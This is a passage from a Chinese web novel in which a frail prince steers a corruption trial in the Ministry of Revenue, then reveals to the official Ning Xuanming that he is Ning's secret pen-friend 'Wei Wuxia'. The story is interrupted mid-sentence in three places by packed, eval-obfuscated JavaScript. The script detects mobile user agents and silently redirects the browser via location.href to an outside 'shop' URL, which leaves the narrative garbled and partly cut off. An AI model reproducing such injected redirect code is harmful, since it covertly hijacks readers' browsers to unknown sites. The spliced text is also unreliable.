这很正常,刚进部门,且位居底层,上手的多是一些劳累繁琐的打杂工作,也是因为宁悬明在算账上当真有些本事,否则像这些虽然累,但也有油水捞的活是轮不到他的。 按照惯例,等捞够了,用金银为自己运作一番,凭着政绩便能往上升,这便是最寻常最简单的上升之道了。 宁悬明垂眸敛目,默然半晌后,在众人耐心逐渐告罄,即将进行下一步的时候,方才重新抬头,俯身一拜后道:“下官确是无故查阅过往账目,但……” “去年年初开始,修京畿永济渠,为何至今未结束,河北道为何连年干旱颗粒无收却与人口减少不符,魏国公三公子在平康坊一掷千金,声名远扬,为何国公府还欠着国库十几万两……桩桩件件,若是当真探究下去,又有哪件不需要清查,如此,尚书大人仍要说下官无故吗?” 唐尚书固然只想做个纯臣,但朝廷并非他的一言堂,户部关系到整个朝堂,其中多方势力牵扯,再有姻亲裙带,连民间也参与其中,便是他自己,也难免要为下属行方便,否则当真以为老作精是什么好皇帝,人人愿意为其效忠吗? 可有些事私下默认是一回事,摆到明面上又是另一回事。 唐尚书唯一想不通的,即便是户部那么多精于数术的人才,所做账目怎会轻易被一个刚入户部不满两月的人看出端倪? 此人在他眼中的定位瞬间从一名卑微小官变成了宁悬明,这个名字深深烙在他脑子里,带着一股挥之不去的恼怒和畏惧。 唐尚书手中茶杯差点没拿稳,脸色青白交加,面无人色,他下意识看向越青君身后那人—— 越青君担心自己记忆不清特地请来将审讯过程详细记录的人。 “刚刚的话,不许记在纸上。” 当即有人要上前制止对方的奋笔疾书,却在即将到那人面前时被人拦住。 吕言制止那名小吏的靠近,距离他一米外,越青君从容放下茶盏,将交叠的双腿换了换,抖了抖衣摆上的灰尘,方才瞥了唐尚书一眼,施施然道:“唐尚书,这是要妨碍办案?” 唐尚书:“当然不是!” 越青君点点头:“那就是要欺君罔上。” 唐尚书一噎,一口血堵在喉咙,怎么也喷不出来。 他深吸一口气,语气沉沉:“六殿下,此事关系重大,若是将其呈给陛下,后果可不是你能担得起的。” “我今日来此,便是奉命做父皇的耳目,看他想看,听他想听,其余皆与我无关。” 他抬头看了眼荀尚书,“继续。” 唐尚书目眦欲裂,却毫无办法,然而哪怕他是朝廷重臣,也不可能在大庭广众之下将一名皇子如何,哪怕六皇子再不受重视,那也是天家血脉。 之前越青君淡定从容,温和好说话的形象,顷刻之间变成了心机深沉,他甚至想对方昨天为他求情是不是故意为之,为的就是今日参与其中。 连唐尚书本人都不知道,自己无意中窥见了真相。 荀尚书哪怕为官多年,也难得遭遇此时的僵持场面,前有实权尚书,后有当朝皇子,他作为本案主审官,反而被衬托得像是个工具。 但不审下去是不行的。 只是今日之事大约不会按照他们的想法发展了。 接下来的一段时间里,场面都十分僵硬,唐尚书已经失去对情势的把控,荀尚书也终于能发挥刑狱人员的本事,真正审理这件案子。 一切进入正轨,却不是唐尚书要的正轨。 当然,荀尚书也没深入询问宁悬明方才说的那一大堆足以让人掉脑袋的东西,既是审理许子穆的案子,他就只问这些。 宁悬明将从前发现的账目疑点重新说了一遍,这回再也无人能恍若未闻。 只是越听越觉得棘手,并非是真相难查,反而是真相太简单浅显,便是还未审理,众人也能猜到一二。 可真相与天子想要的结果截然不同,那这样的真相,还要成为“真相”吗? 唐尚书心中百般思量,衡量双方如何取舍。 如今,比起一个许子穆,他更担心眼前这个宁悬明,如果这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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起身欲走时,越青君又顿住脚步,垂眸漫不经心看了宁悬明一眼,“既是户部的账,还是要户部的人自查才更方便,让所有被牵扯到人员都参与其中,既有人手也更方便佐证,荀尚书,你说呢?” 荀尚书拱手,“殿下说的有理。” 越青君让了身位,示意主审官走在前面,后者也不好和他彼此谦让,越青君虽然看上去谦逊有礼,温和有度,但实际上有种坚定的,让人难以违逆的气度,身位刑狱人员,荀尚书更为敏感些。 顾从微落在后面,在宁悬明起身时伸手扶了一把。 宁悬明:“多谢。” 顾从微笑了一下,“不必客气。” 他可看清楚了,方才就连两位尚书都拿此人无可奈何,若是能度过此劫,此人将来只怕大有可为。 这样厉害的人物,自己扶上一把,是不是也能沾上些运气? 不过片刻之间,顾从微就愉快地决定,今天不洗左手了。 虽是配合调查,但荀尚书已然明白宁悬明不会成为被牺牲的弃子,不仅如此,待此事结束后,对方也算检举有功,明面上的赏赐不会太差。 既如此,就不便再将对方当成犯人看管了。 宁悬明跟在一行人身后一起出了地牢,走出牢房,头顶灼热的阳光稍有刺眼。 他刚用手稍稍遮挡,头顶忽然撒下一片阴翳。 宁悬明抬头看去,却见是那位六皇子身边跟着的内官,正撑着一把伞遮在他头顶。 “宁主事,这是殿下送您的。” 吕言将手中的伞和一根发带递给他。 自听见宁悬明的名字后,他已经想起对方是谁了,自然不会对越青君的反应有所惊讶。 宁悬明抬头看了看远处的越青君,心中不知想过什么,伸手坦然接过两样东西。 简单将头发束在身后,他举着伞走向越青君,最后在三尺外停下。 “多谢殿下今日相赠。”他弯了弯唇,瞧着便是脾气极好的性子,丝毫看不出方才还敢面不改色威胁朝廷大员。 言行举止间,自有一股与越青君的仙不同的风雅气度。 越青君静静看着他逐渐走近。 短短几丈距离,却似走了千里,不过片刻时间,却像过了万年。 一步一步,最终停在自己面前。 见他目不转睛,宁悬明出声询问:“敢问殿下,从前可是见过下官?” 越青君眸光微动,“并未,今日乃初次见面。” 那你为何一副与我很有故事的感觉? 不等宁悬明再问,越青君就提起了一个莫名的话题,“你叫宁悬明?” “临危之悬,日月为明?” 宁悬明心中微动,这还是第一次有人如此解读他的名字。 无需回答,越青君便浅浅一笑,“很好的名字。” 他眼中没有恶意,反而带着隐隐的欢喜,和毫不掩饰的善意,宁悬明却不知,这已经是越青君压制后的结果。 温柔的声音好似一缕风,和善又动听,像诱人的陷阱,“它很配你。” 6.光风霁月 一行人浩浩荡荡来到户部,荀尚书迅速让人暂时将户部封锁,户部当值的人纵然有再多不满,在看见顶头上司唐尚书也在旁配合的时候,也不得不偃旗息鼓,任由刑部的人把守这里。 未免让更多人知道内情,荀尚书将户部众人都安排在休息的会客厅中暂时看管,众人聚在一起,哪怕有人看守,也难免小声议论,言语间对刑部今日所为颇有不满。 户部向来在六部中地位很高,今日却被刑部之人骑到头上,自然不甚乐意。 却也有聪明人从今日这阵仗中预感到不妙,桌上摆了各种茶点,却也提不起半点兴趣,只想着还有唐尚书在,希望不要把局面闹大,至少……至少自己不要被牵扯进去。 越青君自进入封存账目的档案室后,便寻了个位置坐下,不必他提,便有官吏殷勤将茶水点心奉上。 唐尚书到了自己的地盘,总要心安不少,“正是午膳时间,殿下不如先行用膳,这里有我等处理便好。” 越青君转动手中的念珠,“多谢唐尚书关心,方才用了不少点心,暂时不饿。” 唐尚书心里将刑部准备茶点的人骂了一通。 余光扫了一眼在场众人,似是想起什么,越青君思忖片刻后道:“各位还没用过午膳,倒是我考虑不周了。” 说罢转头看向唐尚书:“不如让膳房将午膳抬到隔壁,大家可几人一组轮流用膳,倒也不会耽搁什么。” “唐尚书说呢?” 语气是询问的语气,但其中到底有多少礼貌,唐尚书也不知道。 自己在官场浸淫多年,有朝一日竟然连一个年轻人也看不清,他不觉得这是自己的问题,思来想去,也只能是因为从前的六皇子太过低调透明,让人对他的了解太浅太少,其心思才显得难以揣度。 当然,也不可否认,这位六殿下修佛修太久,竟当真修了一身从容自若的心性,任凭他人疾言厉色威逼利诱,我自岿然不动。 而他也有岿然不动的底气,皇室血脉未必能给他带来多少荣光,却能让人轻易不敢动他。 用过午膳,众人办事的效率翻倍,户部中人更是熟手,清查起过往账目来速度更快。 所有人的心照不宣下,其他账目都不必管,他们只需要查近年和许子穆相关的项目账目。 如此,省了不少功夫。 然而结果却出乎所有人预料,哪怕已经省去了诸多功夫,直到暮色降临,夜间灯火通明,他们也没清算完这些账,无他,实在是太多了。 连唐尚书都未想到,他原本以为许子穆也就贪个二三十万两,谁知此人捞钱手段比他们还熟练,向上抬价,向下压价不过是最低级的手段,收受贿赂,勾结姻亲族人做空项工程,谎报损耗,谋夺财产,致使商人家破人亡…… 林林总总算下来,早已破了百万之数。 先前唐尚书给他定的数目也不过是小几十万,万万没想到自己竟还是小瞧了他。 该死。 确实该死。 若说原本唐尚书对要对死人斩尽杀绝这种事还有牛不喝水强按头的抗拒,那么现在是彻底服从安排,只恨许子穆死的太早。 但随之而来的还有另外的问题。 许家抄家只抄出来零头,那么剩下的大头又被送去了哪里? 他背后之人没了许子穆这个钱袋子,会不会恼羞成怒,将他们都记恨上? 唐尚书虽早已不怕得罪人,但没人会喜欢自己敌人增加。 但诸多问题遇到章和帝时,便能轻易做出抉择,得罪皇子,总好过得罪天子。 等整理出许子穆所有相关的证据,今夜已然过了大半。 太/祖开国之初,君臣上下一心,勤于政务,宵衣旰食,后来国家日益繁盛,朝廷官员的待遇也宽松起来,至今章和帝本人都疏于政务,更不会督促臣子,因而在卫国,身处中央的朝臣大多每日只需要上值半日,且每月至少有三五日休假。 习惯了这样的工作强度,今天乍一熬至深夜,在场大半人员都有些支撑不住,只能换班轮流休息。 反而是越青君这位天潢贵胄,始终守在现场,只是到底身子虚弱,如今已然支着脑袋,歪在躺椅上,闭着双眼,也不知是睡是醒。 煌煌烛光下,越青君的唇色的苍白愈发明显。 隔着书架,宁悬明无意看了几眼,脑中莫名浮现对方先前说的话。 却也想不出自己一名小小主事,在京城初来乍到,有什么值得对方另眼相待之处。 翌日清晨,众人陆续清醒,荀尚书也将户部整理出来的东西递给越青君看。 越青君揉了揉太阳穴,“我并不了解这些,既然荀尚书确认无误,我就不必再看了。” 如此大自主决断,如此信任不疑,荀尚书恍惚重拾年轻时的朝气雄心,心中一时心绪复杂。 若是唐尚书在这桩案子上恨极了越青君的碍眼,那荀尚书就是难得觉得有这样一个只撑腰不干涉的上司有多舒心。 越青君掀开身上的薄被,起身对眼前人道:“荀尚书,人证物证俱全,如今是否该结案了?” 荀尚书点头,“确如殿下所言。” 结案陈词已经写好,一应证据确凿,便是到了章和帝面前也不会出错。 见事情了结,唐尚书再次来到越青君面前,“殿下,下官有些话想私下与您商谈。” 越青君看了他片刻,随后示意身边人下去,周围只剩他与唐尚书,以及一个全程参与,却又全程没有姓名的文书。 不等唐尚书开口,越青君便先一步道:“我知道唐尚书想说什么。” 他向身侧伸出手,阳光透过薄纱洒落在越青君指尖,将那只白皙的手衬得更加莹白修长。 一张写满了文字的长卷落入他手中。 越青君将其递给了唐尚书。 唐尚书接过,见越青君并未阻止,便展开一看,下一刻,常年克制的脸上难得浮现出一丝错愕。 满满当当的长卷上,写的却不是什么审案流程,而是一卷楞严经。 “这、六殿下……”饶是唐尚书,也一时失语。 饶是唐尚书见过大风大浪,一时也不知如何应对此刻情形。 越青君却是一改之前的不近人情,面上笑容宽和有礼,“唐尚书对父皇一片赤胆忠心,父皇信任你多年,我自然也再相信不过。” “我虽不懂朝堂诸事,却也知道为人臣多有不得已之处,此乃人之常情,不可避免,唐尚书忠于父皇,已是大义,大义在先,小节有所瑕疵也不必太过苛责。” 这位六殿下虽然不懂朝政,却极懂人心,知道下面的人难免会因为各种难以言说的原因而对上隐瞒,这并非全然是下面人的过错。 唐尚书心中忽然涌上一股复杂难言的情绪,激得整颗心都有些涩。 越青君还在宽慰:“唐尚书在朝中多年,劳苦功高,卫国未来也还多有仰仗之处,此次的事,是我设计在先,无瑕在此向唐尚书说声抱歉。” “微臣、微臣……”唐尚书讷讷难言,意识到六皇子从一开始就没想对他做什么,甚至多有维护后,唐尚书简直要被心中的愧意淹没。 想想自己先前还对这位殿下多有不满不敬之处,甚至还曾有过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644167|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大逆不道的念头,唐尚书一张脸就忍不住涨红。 他掀起衣摆跪在地上,恭恭敬敬俯身一拜。 “殿下羞煞我等,分明是臣等庸碌怯懦,行事不够周全,才让殿下迫不得已如此行事。” 六殿下只是想尽可能要一个更真实更周全的真相和结果,想要天子不受蒙蔽,他又何错之有。 入朝多年,唐尚书第一次感到自惭形秽。 阳光轻轻将越青君笼罩,在他身上附上一层柔光,直让人不敢直视,仿若那一身光风霁月的圣人之姿化为了实质。 越青君弯了唇角,上前亲手将对方扶起:“何必行此大礼,你我都是为父皇尽忠,做好分内之事即可。” “还望唐尚书将来能一直在朝堂为父皇分忧。”在还没有成为弃子之前,请尽情地为我所用。 “谢六殿下。”比起之前的求情,这次唐尚书说的这声谢,可谓真心实意许多。 今日六殿下不仅放自己一马,还让他见识到了真正的君子气度,君上风范,竟让唐尚书有种从前昏聩数十年,一朝得见朝阳的感觉。 事到如今,于越青君而言,他的任务已经完成,也该回宫复命。 剩下的追查,找到在逃的百万银两,都是刑部的事。 不过两日,便让两位高官对他好感大增,心悦诚服,在两个部门初步树立威信,分明只是来旁观,却在不知不觉中成为所有人都主导。 最重要的是,见到了他最想见的人,还给对方留下了深刻印象。 想想这两日的收获,越青君便满足地眯了眯眼睛。 走出房门时,一眼便注意到站在院外那人,越青君脚步微顿。 宁悬明一身青袍,款步而来,身似松柏,君子如兰。 到了越青君面前,双手将昨日那把伞奉上,“昨日借用殿下的伞,今日之后只怕难再相见,特来归还,多谢殿下昨日借伞之情。” 二人一个在宫中,一个在宫外,本也确实不易见面。 越青君眉眼柔和,“宁主事只谢这一件吗?” 伞,发带,洗清冤屈,救命之恩,桩桩件件,皆是宁悬明应谢之恩。 不可否认,宁悬明借还伞搭话,确实有试探之意,然而对方的态度,却让情况更加怪异。 宁悬明看他片刻,忽然莞尔,“下官初到京城,两袖清风,殿下若是想要谢礼,只怕要再等些时日。” 越青君静静听他立flag,笑而不语,他笔下的宁悬明不结党营私,不贪污受贿,不经营买卖,因而在原著里,宁悬明就从未有钱过,甚至还曾受过手里也不富裕的卫无瑕接济。 若当真要等对方的谢礼,只怕要等到猴年马月去。 二人一青一白,相对而立,远远瞧着,便是一副极美的风景。 越青君视线落在那青色伞身上片刻,轻笑一声道:“罢了,能认识宁主事,便是件极好的礼物,这伞配你,就送与你了,不必归还。” 说罢,便抬步与宁悬明错身,身形交错之时,越青君微微侧头,轻声留下一句:“希望下次见面时,宁主事能问我姓名。” 微风将声音送入宁悬明耳中,那声音本就轻,余音更是如丝如缕,盘旋在耳边时,若有似无带起一丝痒意。 宁悬明伸手抚上耳根脖颈,眉目沉静,久久思量,握紧手中纸伞青青。 侧身望去,只见那人一身白衣翩跹,从容的身影最终消失在拐角,衣袂翻飞,不见踪影。 宁悬明低头沉思。 皇子姓名,随意问询。 在这位六殿下心中,自己是否未免太不客气了一点? 7.赴你之约 马车刚行过宫门,便被迫逼停。 马车里的越青君缓缓睁开闭目养神的双双眼,此时车外传来一道歉意的声音。 “车内可是六弟?”温文尔雅的声音听着便让人极易心生好感,“真是抱歉,今日一早本殿下带皇子妃进宫向母妃请安,却不想在这儿与六弟狭路相逢,母妃随赠的礼有些多,实在不便避让。” 越青君掀开车帘,便对上前方的文雅青年,对方的头从车厢侧面探出,又用一面折扇遮挡阳光,因而那面上的浅浅歉意也格外清晰。 越青君视线在对方身上停留片刻,唇边浮现一抹意味深长的笑意。 “既如此,咱们就给五哥让让,许久不见五哥,不知五哥近来可好?” 五皇子眸光微沉,面上的笑意却未减,仍是十分和气道:“托父皇母妃的福,近来身子不错,你五嫂也有了身孕,再过几月,你就要多一个小侄子了。” 年纪还小的不算,他们这群已经长大成人的皇子中,只有越青君一人身体不好,时不时就要卧病在床,也只有他一人膝下无子,连个妾室都没有。 朝野上下都知道,这位六皇子是个修佛修傻了的,据说至今仍是童子身,不像他的兄弟们,便是还未娶正妻,也都有了子女。 越青君丝毫不为五皇子的话生气,兢兢业业扮演着自己的白莲花。 “五哥一切安好就好,免得贵妃娘娘在宫中忧心,时候不早,我也该向父皇请安,就此别过,五哥慢走。” 双方错开,直至再看不见对方,五殿下才放下帘子,沉下脸色。 “许子穆算是白死了,还好银子还没被找到,你找的地方确定可靠?” 那么多银两,因转移匆忙,始终未能运回皇子府,至今藏在外面,看上去和他没有半点关系的地方。 五皇子妃握住他的手:“殿下放心,那里有我父兄找的人,隐秘又安全,万无一失。” 五皇子却始终未能全然放心,刑部一天不放弃,他就要提心吊胆一天。 还有他那个突然冒出来的六弟,分明不足为惧,却始终让人无法放心。 越青君并未先回明镜宫,而是直接去了凌霄殿。 日上三竿,正是章和帝醒来的时候,听说越青君昨晚连夜审讯查案,一夜未睡,章和帝难免心生感动。 “你说这孩子,怎么就这么实诚呢?要是身子更不好了怎么办?” 嘴上这么说,脸上的满意却半点没下来过。 有章和帝这个老作精孜孜不倦在前朝后宫搞事,本该是奸佞的近侍都觉得自己真是个大好人。 “六殿下一片赤诚,自然想要尽早完成陛下的任务,好让陛下宽心。” “让他进来吧,和朕一同用膳。” “见过父皇。”越青君衣衫微皱,一看便知还未梳洗更换。 章和帝心中越发感动。 这个儿子虽然不如其他几个儿子身体康健,却是几个儿子中对他最真诚的,对方每次看见他时眼中的欢喜并非作假。 有这样的想法在,哪怕越青君带回来的消息让章和帝火冒三丈,恼怒不已,章和帝也没让这怒火朝着越青君去。 被许子穆欺骗的愤怒,以及满腔真心错付的羞恼,让章和帝对许子穆的妻儿族亲半点不曾手下留情,抄家的抄家,流放的流放。 若非有人劝着,只怕许家三族都不够他砍的。 经此一事,朝堂很长一段时间都风声鹤唳,无论是谁,都低调了许多。 便是破案的封赏也没弄出多大动静。 宁悬明虽然逃过一劫,甚至因祸得福,但他也得罪了顶头上司,唐尚书是不敢再让他留在户部,干脆将他调去了礼部,虽然升官成了礼部郎中,一跃几级,但从掌管天下钱粮的户部,去了掌管礼仪祭祀的礼部,与被发配无异。 且在唐尚书的“关照”下,礼部上下一心,让这位新来的郎中坐冷板凳,整日无所事事,也不给他派公务。 这倒是让宁悬明终于有了空闲,捡起了之前被诸多事情耽误的私事。 一日傍晚,他踏入了明月楼的大门,询问掌柜:“掌柜,月初黄昏可有客人来楼上月字号包间?”这家酒楼包间名字简单易记,直接取梅兰竹菊,风花雪月八字各一间。 掌柜确定了宁悬明预订客人身份后,当即让小二翻记录,很快找到。 “抱歉客官,当晚月字号包间并未接待客人。” 宁悬明心下失望,但一想自己也因为身处牢狱而未能赴约,对方也因为别的事而耽误,实在太过寻常。 只是他寄存在书斋的书也未被取走,也不知是对方至今没空,又或是因为其他。 此时此刻,宁悬明方才发觉,自己对对方所知实在太少,一旦有谁有意中断联系,他们便是在人海中擦肩而过也不相识。 遗憾悄然浮上心头,宁悬明正要离开,却见那小二一拍脑门,“瞧我这记性!” 他从柜子里翻出一个锦囊递给宁悬明:“郎君,这是那位月字号客人派人送来的,说是要交给你的。” 宁悬明接过锦囊,里面只有一张信纸,上面只有【有事耽搁,有缘再聚】四字。 熟悉的字迹,瞬间安定了心。 虽未定时间,却总归不是悄然了断,毫无音信。 只是错过一回,也不知下回再约,究竟是多久之后,纸上的有缘,又要如何有缘了。 宁悬明轻叹一声,将锦囊揣进怀里。 今日大集,哪怕是傍晚,街上人也不少,路边小摊,两旁商铺,纷纷挂上了灯笼,将街市装点得更加明媚漂亮。 宁悬明却无心欣赏。 既无事,他正要转身回家,却忽的一道耳熟的声音传入耳中。 “宁主事?” 宁悬明抬头望去,不远处,那道伞下的身影实在熟悉,至少宁悬明未能在短时间内忘记。 从未想过所谓的下次见面来得这样快,这样猝不及防。 宁悬明心中闪过一丝微妙的感觉。 却未来得及抓住,又或者不敢抓住。 今日的越青君一身月白锦衣,夕阳倾洒,晚风徐徐,纸伞将刺目的光隔绝在外,好让宁悬明眼中的越青君显得十分清晰。 人海在二人间流动,唯有他们定在原地,像固定在命运轨迹上的两个原点,任由世间万物随意变换,唯有他们之间始终重合,注定相遇。 伞下青年仙姿卓然,弯眉浅笑时,又带着些许难以捉摸的神秘。 二人对视片刻,越青君收起伞,任由残阳余晖映在身上,头顶的灯笼不及他明亮。 “明月楼”三个字,悬在二人身旁。 “真巧呢。” 他微笑道。 最巧妙的伪装,正是好戏即将开场。 宁悬明之前还说要感谢对方,如今当街相见,总不能对对方的致意视若无睹。 他几步上前,“没想到殿下今日出宫,时候不早,殿下可是要回宫了?” 宫内有宵禁,等落了钥,等闲进不去。 越青君抿唇失笑,“看来宁主事、不,应该叫宁郎中,上次说谢我,不过是哄我的。” 他故作委屈,“莫非是我长得太吓人了,才让宁郎中不喜?” 宁悬明当然不是对他有意见,更没有不喜欢他,相反,他对这位殿下的好感不低,在他在京城两月遇到的人中,这位殿下可以稳居前三。 然而即便如此,对于这位殿下毫不掩饰的自来熟与示好,宁悬明仍有些难以招架。 正是因为他不觉得自己一个小小郎中身上有什么值得对方贪图的地方,才更加疑惑,未知,总让人更愿意对其敬而远之。 但越青君话都说到这儿份儿上,宁悬明自然不好再推拒。 “是下官招待不周,殿下若是不介意,今晚不如在楼上用膳?”宁悬明邀请道,心中却想着也不知这位殿下能不能用宫外饭食,若不合心意,那感谢岂不是变成了报复? 越青君抬头看了眼明月楼的招牌,与天香楼走高端路线,只接待贵客雅客不同,明月楼是家中高端酒楼,里面上到达官贵人,下到平民百姓,都能找到适合自己价位的菜品。 但既然是宁悬明请他,那必然不能太寒碜。 “我倒是不介意在外用膳,只是……” 他沉吟片刻,方才转眸看向宁悬明,语气揶揄,“宁郎中,你实话告诉我,今晚你我在这里用膳后,接下来一月,你还吃得上官署外的饭食吗?” 宁悬明:“……” 嗯,这如何能不算是体谅下属官员呢? 偏生宁悬明还不能说越青君担心错了。 他抿了抿唇,一本正经道:“这也别无他法,总要紧着殿下,只要殿下满意,便是未来一月每日只吃一餐,也是值得。”官署每日中午会有免费餐食茶点供应。 话音刚落,宁悬明便有些许后悔,眼前这位六殿下便是看上去再平易近人,也无法改变二人差距甚远,他不应因为对方莫名的善意而失了分寸距离。 好在之前时不时便揶揄逗趣的越青君,此时面对宁悬明的逾矩并未穷追不舍,趁机拿捏,而是淡淡一笑,折身进了明月楼。 宁悬明微不可察松了口气,也紧随其后跟了进去。 “客官,您还有什么事吗?” 小二见到宁悬明去而复返,以为对方还有吩咐。 宁悬明看向越青君,却见对方当真如方才所言,等着他安排,只好转头对小二道:“麻烦帮我备间包间,再叫几道招牌菜。”既是皇子,宁悬明自然不能让对方就在大堂用膳。 小二当即笑道:“刚好月字号的包厢还空着,二位客官请随我来。” 片刻后,两人都在包间入座,小二给包间送上茶水瓜果,便下去传菜。 打开窗户,窗外风景映入眼帘。 老天脸色变得极快,方才上楼之前,天上还有漫天霞光,可此时再看,却已经是暮色苍茫,还未彻底暗沉的天幕,已然出现点点星光,明月也不知何时渐渐悬挂在广袤天穹上。 没有高楼大厦,没有工业污染,便是最常见的景色,都带着这世间未被雕琢的光芒。 越青君手持一盏清茶,浅浅品尝,竟有些享受此时时光。 宁悬明想到,若非先前有事耽误,向来前些日子,自己已经与无瑕坐在这明月楼上,吃京中美食,赏市井景象。 而今他虽如从前所想那般享受这一切,却是同另一个人。 脑中有一搭没一搭想着,眼前忽然出现一个木盒,他低头垂眸,复又看向将木盒推至自己面前的越青君。 后者面上笑意未减,“还未贺宁郎中升官之喜,一点心意,不成敬意。” 宁悬明看着他,面露无奈,“殿下,下官这顿饭还未请,您的礼就又来了,您是想要下官今后越欠越多吗?” 越青君指节在桌上轻敲: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656513|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这如何能一样,理由不同,自然是分开算的。” 宁悬明却不上他的当:“无功不受禄,朝中百官,莫非殿下要给每个升职的官员送礼?” “下官自认尚未与殿下相熟至那般地步。” 这话在向来含蓄的文人中,已经是再直白不过,不留丝毫余地,若是越青君心眼小些,多半会对宁悬明心怀不满,以及被拂了面子的羞恼。 宁悬明也是不得已才这样说,冒着得罪人的风险。 大约越是一无所有的人越是无所顾忌,他倒是不怕得罪人,可就此让这位六殿下对他不悦,宁悬明竟隐约有些许遗憾。 或许…… 或许相识再久一些,他们大约也能相交为友。 只是如今却难了。 让宁悬明没想到的是,被如此直白不留情面拒绝的越青君,非但没生气,反而意味不明笑了一下,随后收回了木盒。 “既然如此,那等你觉得你我的关系到了能够随意收礼的时候,我再将它送你。” 这下不好意思的成了宁悬明。 他从未见过六殿下这般亲和宽仁的上位者,言行举止间,半点装模作样的虚伪也无。 或许是因为对方自小便被忽视,在宫中过得也不好,可如今他既已经今非昔比,却还如此,便只能说是本性。 饭菜很快上来,都是招牌菜,味道自然不错。 越青君前世也出身豪门,尝过的山珍海味不计其数,因而来这里后,对宫中各种珍馐美食也稀松寻常。 因很难再满足阈值很高的口腹之欲,越青君对食物的兴致一般,今日却因为一同用餐之人不同,让他觉得这就是他从来这个世界后,吃过最美味的一顿饭。 见他吃得津津有味,半点也不勉强的样子,宁悬明心下微松,好歹没让报恩变成结仇。 用过晚膳,越青君欣然道:“多谢今晚款待。” 宁悬明微微一笑:“殿下不嫌弃就好。” 结账时,越青君没有插手,眼睁睁看着宁悬明花掉身上大半银两,眼中满含兴味。 “殿下今日出宫身边没带人,不如下官送殿下至宫门?” 破财的宁悬明再消费不起街上的东西,打算回家,像他这般的小官,如果买不起租不起京城的房子,朝廷会给安排官舍,宁悬明也住在那里,地方不大,却很便利,如今自然方便他送越青君回宫。 越青君笑问:“宁郎中可学过武功。” 宁悬明老实答道:“只会五禽戏。” 越青君:“那若是遇到危险,宁郎中只能用五禽戏护我周全了。” 宁悬明:“……” 以他与这位殿下的关系,饶是宁悬明,也不知对方这话究竟是调侃还是嘲讽。 “不急,今夜月色正美,何不用心欣赏。”越青君坐在原处,因夜晚有风,身上已经披上了出来时带的披风。 他竟当真就这般休憩起来,单手支着头,面向着窗外,以宁悬明的角度,也看不出对方究竟是睡是醒。 眼前这一幕让宁悬明想起来户部那一日,对方就是这么在户部的软榻上休息了一晚。 莫非今晚他还要在酒楼这样歇一晚不成?便是他能,酒楼也要打烊。 见越青君一副丝毫不着急回宫的模样,宁悬明心下有些为难。 毕竟对方都没说要走,总不能他一个小小郎中还要先对方走。 “殿下可是还有事要办?”他开始旁敲侧击。 越青君摇头:“我今日想办的事已经办完了。” 宁悬明继续试探:“那殿下可是还要等人?” 越青君睁开双眼,转头看他,眼中带着宁悬明难以捉摸的神情,“今日要见的人,也早已在眼前了。” 宁悬明要说的话立时卡在喉咙,望着对方,一时竟不知说些什么。 有点奇怪,却又似乎有什么被自己忽略的地方,是什么呢? 自己一个刚入京两月,毫无根基的小官,究竟为何受对方如此优待? 出宫专门见他,就为了一顿饭,这已经不是什么感兴趣、想拉拢能解释的了。 一定有什么被自己忽略了。 黄昏、明月楼、相见……先前还在心中想过的事,不必努力寻找,轻易便能将其揪出来。 宁悬明霍然抬头,看向越青君的双眸中,各种情绪翻来覆去,竞相争锋。 哪怕被关进狱中,被栽赃陷害都始终镇定自若的宁悬明,此刻却难得失态,若非刻意紧抿唇瓣,怕是轻易便被人看出他此刻双唇颤动,心绪难平。 双眸死死盯着越青君,不曾错开半分。 眼见越青君眸中笑意愈深,仍是对那个可能难以置信。 越青君含笑看他:“上次分别时,我曾与宁郎中说,希望下次见面,你能问我的名字。” 宁悬明面上简直五彩缤纷,难以言喻,“你、你……” 从怀中摸出一张保存很好的信纸,展开,熟悉的字迹,熟悉的内容,让宁悬明一眼便能辨清。 字字句句,皆是证据。 “在下姓卫,取名无瑕。” 越青君此时哪里还有半分不正经,眼中笑意盈盈,却是真诚无比。 温柔的声音正如窗外月色,柔和清澈。 黄昏日暮,明月楼上,窗外悬着一轮无瑕之月,见证这场命中注定的誓约。 “我来赴与你的约,你怎么忘了呢?” 8.我既命运 怎会如此? 竟然如此! 原来如此! 无数场景与画面在宁悬明脑海中复现,从刑部初见那一眼,到听到名字时越青君的反应,再有越青君向他确定名字时的笑容,最后是分别时对方那句莫名的话语。 并非是在越青君眼中,他有多胆大包天毫不客气,而是一句意味深长的提醒。 难怪自己因为身在狱中而错过邀约,而本应赴约的无瑕也无故食言。 是了,是了,哪有什么无缘无故的好感和善意,也并非是什么他所不知的阴谋诡计,只是因为,在刑部初见之前,他们早已神交已久,相交莫逆。 当日他们一人接受审讯,一人围观旁听。 如此说来,他们非但没有失约彼此,反而在另一种缘分和巧合下,以另一种方式完成了彼此的约定? 如此缘分,如此神奇。 看着眼前这人,宁悬明大脑有片刻空白,仿佛失去了思考能力,无法对眼前情形立刻做出反应。 心中复杂沸腾的情绪,在经过反复挣扎后,占据上风的成了惊和喜。 二者相互交织,相互纠缠,竟不能分离。 “你……” 宁悬明霍然起身,面上分明在笑,却又努力克制着抿唇咬牙,压下唇角,面庞的红晕显然带着些许恼意。 